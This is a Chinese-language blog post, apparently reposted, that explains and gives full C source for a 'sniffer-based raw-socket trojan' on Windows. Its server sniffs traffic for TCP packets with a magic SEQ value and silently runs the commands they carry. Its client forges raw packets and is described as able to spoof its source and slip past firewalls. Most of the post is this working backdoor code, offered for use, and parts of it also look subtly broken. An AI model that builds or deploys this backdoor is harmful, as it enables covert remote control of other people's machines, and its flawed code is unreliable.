基于嗅探原理的原始套接字木马
????首先我們說說現有木馬的特點和功能。早期木馬一般都是基于TCP連接的,現在這種木馬的生存能力
非常有限,因為直接基于連接的木馬很容易被攔截或者發現。然后有通過改變協議來實現通訊隱藏的木馬,
比如采用UDP或者ICMP或者其他協議的,當然,這些協議通常對于主機來說并不常用,所以很多安全配置
上就要求盡量禁止這些協議,比如禁止ICMP,讓ICMP木馬沒有了生存機會。反向連接或者ACK木馬等非常流
行,因為表現為不是直接的由外向內的TCP連接。
????當然木馬還更多發展在自身的隱藏上,比如注射、核心木馬等。不過該方法的重點暫不是自身進程的
隱藏,而強調在通訊方式上。
????這里講的一種實現方式是:使用基于嗅探原理的原始套接字木馬。它的基本實現是:服務器端是一個
sniffer和發包器,它將捕獲指定特征的數據包??蛻舳耸且粋€發包器和嗅探器,用來發送指定特征的數據
包并包括定義的命令以及接收server的數據。當server捕獲到該指定特征的數據包時,變成激活狀態,通
過分析該數據包,獲得client發送的命令和client的IP地址,然后實現相應的命令,并將執行后的結果發
送回client,client的嗅探部分則接收相應的數據。所有的數據發送都是通過原始套接字(或相應)進行。
????比如:我們設置特定的協議或者ACK或者其他位及其集合為特征。
????該方式的優點:完全基于非連接狀態,使用原始包進行通訊,不同協議有關,可使用任意協議,可采
用任意指定的數據包形式,可實現部分的隱藏地址(如果是非交換的局域網則是可以完全的隱藏地址)、
可實現無連接反向通訊、甚至能夠突破一些防火墻的監視;
????缺點:不是可靠的數據連接、不穩定地執行大數據傳輸,對于數據流量較大的SERVER,其sniffer的效
率占很重要的地位;
????以下是一個簡單的演示,看起來比較象一個后門。呵呵。麻雀雖小,五臟具全。
????其中定義了一個簡單的木馬協議,基于TCP協議基礎上,使用了SEQ位來判別而不基于端口,能夠執行指定的命令。
定義部分:
#define MAX_PACKET_SIZE????????65536
#define SEQ_IDENTITY????????12345????//驗證是否符合需要的SEQ值,這個值在正常包中不會有吧!
#define TROJAN_ID_IDENTITY????6789????//驗證是否符合需要的trojan_id值
#define LOCAL_PORT????????1234????//本地Port, 這個定義并沒有實際意義
#define SERVER_PORT????????80????//服務端Port, 這個定義并沒有實際意義
typedef struct ip_hdr????????????????//定義IP首部
{
????unsigned char????h_verlen;????????//4位首部長度,4位IP版本號
????unsigned char????tos;????????????//8位服務類型TOS
????unsigned short????total_len;????????//16位總長度(字節)
????unsigned short????ident;????????????//16位標識
????unsigned short????frag_and_flags;????//3位標志位
????unsigned char????ttl;????????????//8位生存時間 TTL
????unsigned char????proto;????????????//8位協議 (TCP, UDP 或其他)
????unsigned short????checksum;????????//16位IP首部校驗和
????unsigned int????sourceIP;????????//32位源IP地址
????unsigned int????destIP;????????????//32位目的IP地址
}IP_HEADER, *PIP_HEADER;
typedef struct psd_hdr????????????????//定義TCP偽首部
{
????unsigned long????saddr;????????????//源地址
????unsigned long????daddr;????????????//目的地址
????char????????????mbz;
????char????????????ptcl;????????????//協議類型?
????unsigned short????tcpl;????????????//TCP長度
}PSD_HEADER;
typedef struct tcp_hdr????????????????//定義TCP首部
{
????unsigned short????th_sport;????????//16位源端口
????unsigned short????th_dport;????????//16位目的端口
????unsigned int????th_seq;????????????//32位序列號
????unsigned int????th_ack;????????????//32位確認號
????unsigned char????th_lenres;????????//4位首部長度/6位保留字
????unsigned char????th_flags;????????//6位標志位
????unsigned short????th_win;????????????//16位窗口大小
????unsigned short????th_sum;????????????//16位校驗和
????unsigned short????th_urp;????????????//16位緊急數據偏移量
}TCP_HEADER, *PTCP_HEADER;
typedef struct trojan_packet????????//定義木馬使用的協議
{
????unsigned int????trojan_id;????????//木馬數據包的標識,網絡順序
????unsigned short????trojan_len;????????//執行的命令長度,主機順序
}TROJAN_HEADER, *PTROJAN_HEADER;
/*
木馬數據包的結構
————————————————————-
| IP Header | TCP Header??| Trojan Header | Trojan Command
————————————————————-
包的最小程度是46字節
*/
#pragma pack(pop)
SERVER部分的演示(Server.cpp):
//??????
//??????SniffTrojan
//??????
//??????File??????: Server.cpp
//??????Comment?? : The Server model
//??????
//??????Created at : 2002.9.13
//??????Created by : Refdom
//????????Email??????: refdom@263.net
//????????Home Page :?www.opengram.com
//
//????????If you modify the code, or add more functions, please email me a copy.
//??????
/*
木馬數據包的結構
————————————————————-
| IP Header | TCP Header??| Trojan Header | Trojan Command
————————————————————-
包的最小程度是46字節
*/
//
void Usage();
int SniffThread();
int SendThread();
int DecodeData(char* pBuffer);
unsigned long GetLocalIP();
//
int main(int argc, char* argv[])
{
????WSADATA WSAData;
????int nRetCode = 0;
????if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 )
????{
????????//WSAStartup Error!
????????printf(“WSAStartup Error!%d\n”, WSAGetLastError());
????????nRetCode = -1;
????????return nRetCode;
????}
????
????//開始嗅探數據
????SniffThread();
????//quit
????WSACleanup();
????return 0;
}
void Usage()
{
????printf(“**************************************************\n”);
????printf(“Demo For SniffTrojan\n\n”);
????printf(“\t Written by Refdom\n”);
????printf(“\t Email: refdom@xfocus.org??or??refdom@263.net\n”);
????printf(“\t Homepage:?www.xfocus.org??or??www.opengram.com\n”);
????printf(“**************************************************\n”);
}
int SniffThread()
{
????int nRetCode = 0;
????int nRecvBytes = 0;
????char* pBuffer = NULL;
????SOCKET nSock = INVALID_SOCKET;
????SOCKADDR_IN addr_in;
????DWORD dwBufferLen[10];
????DWORD dwBufferInLen = 1;
????DWORD dwBytesReturned = 0;
????//define a raw socket
????nSock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
????if (INVALID_SOCKET == nSock)
????{
????????nRetCode = -1;
????????goto Exit0;
????}
????addr_in.sin_family = AF_INET;
????addr_in.sin_port??= INADDR_ANY;
????addr_in.sin_addr.S_un.S_addr = GetLocalIP();
????nRetCode = bind(nSock, (struct sockaddr*)&addr_in, sizeof(addr_in));
????if (SOCKET_ERROR == nRetCode)
????{
????????printf(“BIND Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????//socket for sniffer
????nRetCode = WSAIoctl(nSock, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen),
????????&dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned , NULL , NULL );
????if (SOCKET_ERROR == nRetCode)
????{
????????printf(“WSAIOCTL Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????//start sniffing
????pBuffer = (char*)malloc(MAX_PACKET_SIZE);
????while(1)
????{
????????memset(pBuffer, 0, MAX_PACKET_SIZE);
????????nRecvBytes = recv(nSock, pBuffer, MAX_PACKET_SIZE, 0);
????????if (SOCKET_ERROR == nRetCode)
????????{
????????????printf(“RECV Error!%d\n”, WSAGetLastError());
????????????goto Exit0;
????????}
????????if (nRecvBytes < 46)
????????????continue;
????????
????????DecodeData(pBuffer);????//數據解碼
????}
Exit0:
????if (pBuffer != NULL)
????????free(pBuffer);
????if (nSock != INVALID_SOCKET)
????????closesocket(nSock);
????return nRetCode;
}
//獲取本地IP地址
unsigned long GetLocalIP()
{
????char szLocalIP[20] = {0};
????char szHostName[128+1] = “\0″;
????hostent *phe;
????int i;
????if( gethostname(szHostName, 128 ) == 0 ) {
????????// Get host adresses
????????phe = gethostbyname(szHostName);
????????for( i = 0; phe != NULL && phe->h_addr_list[i]!= NULL; i++ )
????????{
????????????sprintf(szLocalIP, “%d.%d.%d.%d”,?
????????????????(UINT)((UCHAR*)phe->h_addr_list[i])[0],
????????????????(UINT)((UCHAR*)phe->h_addr_list[i])[1],
????????????????(UINT)((UCHAR*)phe->h_addr_list[i])[2],?
????????????????(UINT)((UCHAR*)phe->h_addr_list[i])[3]);
????????}
????}
????else
????????return 0;
????return inet_addr(szLocalIP);
}
int DecodeData(char* pBuffer)
{
????int nRetCode = 0;
????char* pCommand = NULL;
????unsigned short usCmdLength = 0;
????PIP_HEADER pIPHeader = NULL;
????PTCP_HEADER pTCPHeader = NULL;
????PTROJAN_HEADER pTrojanHeader = NULL;
????pIPHeader = (PIP_HEADER)pBuffer;
????//只取TCP包
????if (pIPHeader->proto != IPPROTO_TCP)
????????goto Exit0;
????pTCPHeader = (PTCP_HEADER)(pBuffer + sizeof(IP_HEADER));
????//驗證該TCP包是否其SEQ值符合需要
????if (ntohs(pTCPHeader->th_seq) !=??SEQ_IDENTITY)
????????goto Exit0;
????pTrojanHeader = (PTROJAN_HEADER)(pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER));
????//驗證該TCP包是否是合法的木馬包
????if (ntohs(pTrojanHeader->trojan_id) != TROJAN_ID_IDENTITY)
????????goto Exit0;
????usCmdLength = pTrojanHeader->trojan_len;????//獲得命令的長度
????if (0 == usCmdLength)
????????goto Exit0;
????printf(“OK!\n”);
????pCommand = (char*)malloc(usCmdLength + 1);
????memset(pCommand, 0, usCmdLength + 1);
????memcpy(pCommand, pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), usCmdLength);
????nRetCode = WinExec(pCommand, SW_HIDE);????//執行命令
????if (nRetCode > 31)
????{
????????//WinExec Successfully!
????}
Exit0:
????return nRetCode;
}
控制端的演示(Client.cpp):
//
void Usage()
{
????printf(“**************************************************\n”);
????printf(“Demo For SniffTrojan\n\n”);
????printf(“\t Written by Refdom\n”);
????printf(“\t Email: refdom@xfocus.org??or??refdom@263.net\n”);
????printf(“\t Homepage:?www.xfocus.org??or??www.opengram.com\n”);
????printf(“Usage: Client.exe ServerIP Command\n”);
????printf(“eg:Client.exe 192.168.0.2 \”net user guest /active\”\n”);
????printf(“**************************************************\n”);
}
//
int main(int argc, char* argv[])
{
????int nRetCode = 0, nCommandLength = 0;
????char szDataBuf[MAX_PACKET_SIZE] = {0};
????char* pCommand = NULL;
????BOOL bOption;
????WSADATA WSAData;
????SOCKET nSock = INVALID_SOCKET;
????SOCKADDR_IN????addr_in;
????IP_HEADER IP_Header;
????TCP_HEADER TCP_Header;
????PSD_HEADER PSD_Header;
????TROJAN_HEADER Trojan_Header;
????Usage();
????if (argc != 3)
????{
????????printf(“\nArguments Error!\n”);
????????return -1;
????}
????//獲得需要執行的命令
????nCommandLength = strlen(argv[2]);
????pCommand = (char*)malloc(nCommandLength + 2);
????memset(pCommand, 0, nCommandLength + 2);
????memcpy(pCommand, argv[2], nCommandLength);
????if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
????{
????????//WSAStartup Error!
????????printf(“WSAStartup Error!%d\n”, WSAGetLastError());
????????nRetCode = -1;
????????return nRetCode;
????}
????nSock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
????if (INVALID_SOCKET == nSock)
????{
????????printf(“SOCKET Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????nRetCode = setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, (char*)&bOption, sizeof(bOption));
????if (SOCKET_ERROR == nRetCode)
????{
????????printf(“SetSockOpt Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????//填充IP首部
????IP_Header.h_verlen = (4 << 4) | (sizeof(IP_HEADER) / sizeof(unsigned long));
????IP_Header.tos = 0;
????IP_Header.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER));
????IP_Header.frag_and_flags = 0;
????IP_Header.ttl = 128;
????IP_Header.proto = IPPROTO_TCP;
????IP_Header.checksum = 0;
????IP_Header.sourceIP = GetLocalIP();????//當然可以偽造自己的地址
????IP_Header.destIP = inet_addr(argv[1]);?? //服務器端IP地址,如果是非交換網絡,那么可以不是服務器的地址,而設置一個同網
段或者同HUB的地址。
????//填充TCP首部
????TCP_Header.th_sport = htons(LOCAL_PORT);??//這個端口沒有實際意義,倒是可以躲開防火墻
????TCP_Header.th_dport = htons(SERVER_PORT); //這個端口沒有實際意義,倒是可以躲開防火墻
????TCP_Header.th_seq = htons(SEQ_IDENTITY);????????//木馬服務器端的識別標志
????TCP_Header.th_ack = 345678;
????TCP_Header.th_lenres = (sizeof(TCP_HEADER)/4<<4|0);
????TCP_Header.th_flags = 0×01;????????????//隨意設置TCP標志位
????TCP_Header.th_win = 12345;
????TCP_Header.th_urp = 0;
????TCP_Header.th_sum = 0;
????//填充木馬協議的頭部
????Trojan_Header.trojan_id = htons(TROJAN_ID_IDENTITY);
????Trojan_Header.trojan_len = nCommandLength;
????//填充TCP偽首部(用于計算校驗和)
????PSD_Header.saddr = IP_Header.sourceIP;
????PSD_Header.daddr = IP_Header.destIP;
????PSD_Header.mbz = 0;
????PSD_Header.ptcl = IPPROTO_TCP;
????PSD_Header.tcpl = htons(sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength);
????//計算TCP校驗和
????memcpy(szDataBuf, &PSD_Header, sizeof(PSD_HEADER));
????memcpy(szDataBuf + sizeof(PSD_HEADER), &TCP_Header, sizeof(TCP_HEADER));
????memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER));
????memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength);
????TCP_Header.th_sum = CheckSum((unsigned short *)szDataBuf, sizeof(PSD_HEADER) + sizeof(TCP_HEADER) +
sizeof(TROJAN_HEADER) + nCommandLength);
????//填充發送緩沖區
????memcpy(szDataBuf, &IP_Header, sizeof(IP_HEADER));
????memcpy(szDataBuf + sizeof(IP_HEADER), &TCP_Header, sizeof(TCP_HEADER));
????memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER));
????memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength);
????addr_in.sin_family = AF_INET;
????addr_in.sin_port = htons(LOCAL_PORT);
????addr_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);
????//發送命令
????printf(“Start to send command…\n”);
????nRetCode = sendto(nSock, szDataBuf,?
??????????????????????sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength,?
??????????????????????0, (struct sockaddr*)&addr_in, sizeof(addr_in));
????if (SOCKET_ERROR == nRetCode)
????{
????????printf(“Sendto Error!%d\n”, WSAGetLastError());
????????goto Exit0;
????}
????printf(“Send OK!\n”);
Exit0:
????if (pCommand != NULL)
????????free(pCommand);
????if (nSock != INVALID_SOCKET)
????????closesocket(nSock);
????
????WSACleanup();
????return 0;
}
總結
以上是生活随笔為你收集整理的基于嗅探原理的原始套接字木马的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 原始套接字与sniffer
- 下一篇: C++ 析构函数设为虚函数的好处